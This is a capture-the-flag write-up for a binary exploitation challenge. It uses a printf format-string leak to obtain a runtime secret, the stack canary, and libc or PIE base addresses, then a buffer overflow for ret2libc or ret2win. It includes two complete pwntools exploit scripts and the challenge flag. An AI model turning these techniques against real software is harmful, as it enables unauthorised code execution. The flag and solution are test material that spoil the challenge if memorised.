Exploit read primitive of printf() to leak random secret, canary, LIBC and PIE addresses, followed by a Buffer Overflow that leads to ret2win.
Challenge Overview
This challenge is almost identical to SiberSiaga 2023: Password Generator where we have a Format String Vulnerability to defeat Stack Canary & PIE, which then leads to a Buffer Overflow. However, this challenge introduces a twist by using a randomly generated secret. This write-up will mainly focus on leaking the secret.
Taking a look at the provided files, we understand that the SECRET is generated randomly at runtime using /dev/null.
#!/bin/sh# Generate a new random SECRET_MESSAGE for each connectionexport SECRET_MESSAGE=$(opensslrand-hex42>/dev/null)# Start socatexecsocat-T30TCP-LISTEN:10001,reuseaddr,forkEXEC:/home/pakmat_burger/pakmat_burger
The Dockerfile shows that the start.sh script is executed when the Docker container is built, instead of side-loading the execution to xinetd. This means that the SECRET will stay the same throughout connections, and only differ when the container is re-built. (Think of it like a PRNG with a known seed)
To find the location of the secret, we can enter a hardcoded secret and debug the program locally. Since PIE is enabled, I placed the 1st breakpoint at main to let GDB resolve the PIE base.
Then, place a 2nd breakpoint right after the program is done loading SECRET from environment variables.
Since the SECRET is located on the top of the stack, and we know that there are 6 registers rdi; rsi; rdx; rcx; r8; r9 that comes before the stack based on the calling convention.
This means that we can leak the SECRET through the 7th argument, or %6$s precisely (-1 due to indexing).
Solution
Since scanf limits our input to 11 characters, it thwarts our attempt to leak all 3 values of SECRET + CANARY + LIBC/PIE at once.
Thankfully, the SECRET value is always the same for all connections made to the remote instance. As a workaround, we can leak the SECRET in 1st connection, disconnect; and then leak the remaining values during the 2nd connection.
Method 1: ret2libc
Since there are ROP Gadgets available, leaking PIE is optional. We can just leak SECRET + CANARY + LIBC to perform a ret2libc attack.
Flag: wgmy{4a029bf40a28039c8492acfa866f8d96}
Method 2: ret2win
As an alternative, there is a win function called secret_order.
If we were to use this win function, we need to leak PIE instead of LIBC.
Flag: wgmy{4a029bf40a28039c8492acfa866f8d96}
Final Script
Method 1
solve.py
#!/usr/bin/python3from pwn import*# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)defleak_secret(): io =start() io.recvuntil(b"name: ") io.sendline(b'%6$s') io.recvuntil(b" ") result = io.recvuntil(b": ") secret = result[0:-47].strip()print(secret) io.close()return secret# Specify GDB script here (breakpoints etc)gdbscript ='''init-pwndbgcontinuepiebase'''.format(**locals())# Binary filenameexe ='./pakmat_burger'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Change logging level to help with debugging (error/warning/info/debug)context.log_level ='debug'# ===========================================================# EXPLOIT GOES HERE# =========================================================== # secret at 6 # canary leak at 13# libc leak at 5 secret =leak_secret()io =start()libc =ELF("/lib/x86_64-linux-gnu/libc.so.6")io.recvuntil(b"name: ")io.sendline(b'%13$p:%5$p')result = io.recvuntil(b": ")leak = result[3:-47].strip()print(leak)canary =int(leak.strip().split(b':')[0], 16)libc.address =int(leak.strip().split(b':')[1], 16)-0x1d2a80log.info("Canary: %s"%hex(canary))log.info("LIBC: %s"%hex(libc.address))rop =ROP(libc)pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]ret = (rop.find_gadget(['ret']))[0]io.sendline(secret)io.sendlineafter(b"order?", b"junk")payload =flat([37*b'A', canary,8*b'A', pop_rdi,next(libc.search(b'/bin/sh')), ret, libc.sym['system'], ])io.sendlineafter(b"soon:", payload)io.interactive()
Method 2
solve.py
#!/usr/bin/python3from pwn import*# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)defleak_secret(): io =start() io.recvuntil(b"name: ") io.sendline(b'%6$s') io.recvuntil(b" ") result = io.recvuntil(b": ") secret = result[0:-47].strip()print(secret) io.close()return secret# Specify GDB script here (breakpoints etc)gdbscript ='''init-pwndbgcontinuepiebase'''.format(**locals())# Binary filenameexe ='./pakmat_burger'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Change logging level to help with debugging (error/warning/info/debug)context.log_level ='debug'# ===========================================================# EXPLOIT GOES HERE# =========================================================== # secret at 6 # canary leak at 13# pie leak at 17 secret =leak_secret()io =start()io.recvuntil(b"name: ")io.sendline(b'%13$p:%17$p')result = io.recvuntil(b": ")leak = result[3:-47].strip()print(leak)canary =int(leak.strip().split(b':')[0], 16)elf.address =int(leak.strip().split(b':')[1], 16)- elf.sym["main"]log.info("Canary: %s"%hex(canary))log.info("Base: %s"%hex(elf.address))rop =ROP(elf)ret = (rop.find_gadget(['ret']))[0]io.sendline(secret)io.sendlineafter(b"order?", b"junk")payload =flat([37*b'A', canary,8*b'A', ret, elf.sym["secret_order"]])io.sendlineafter(b"soon:", payload)io.interactive()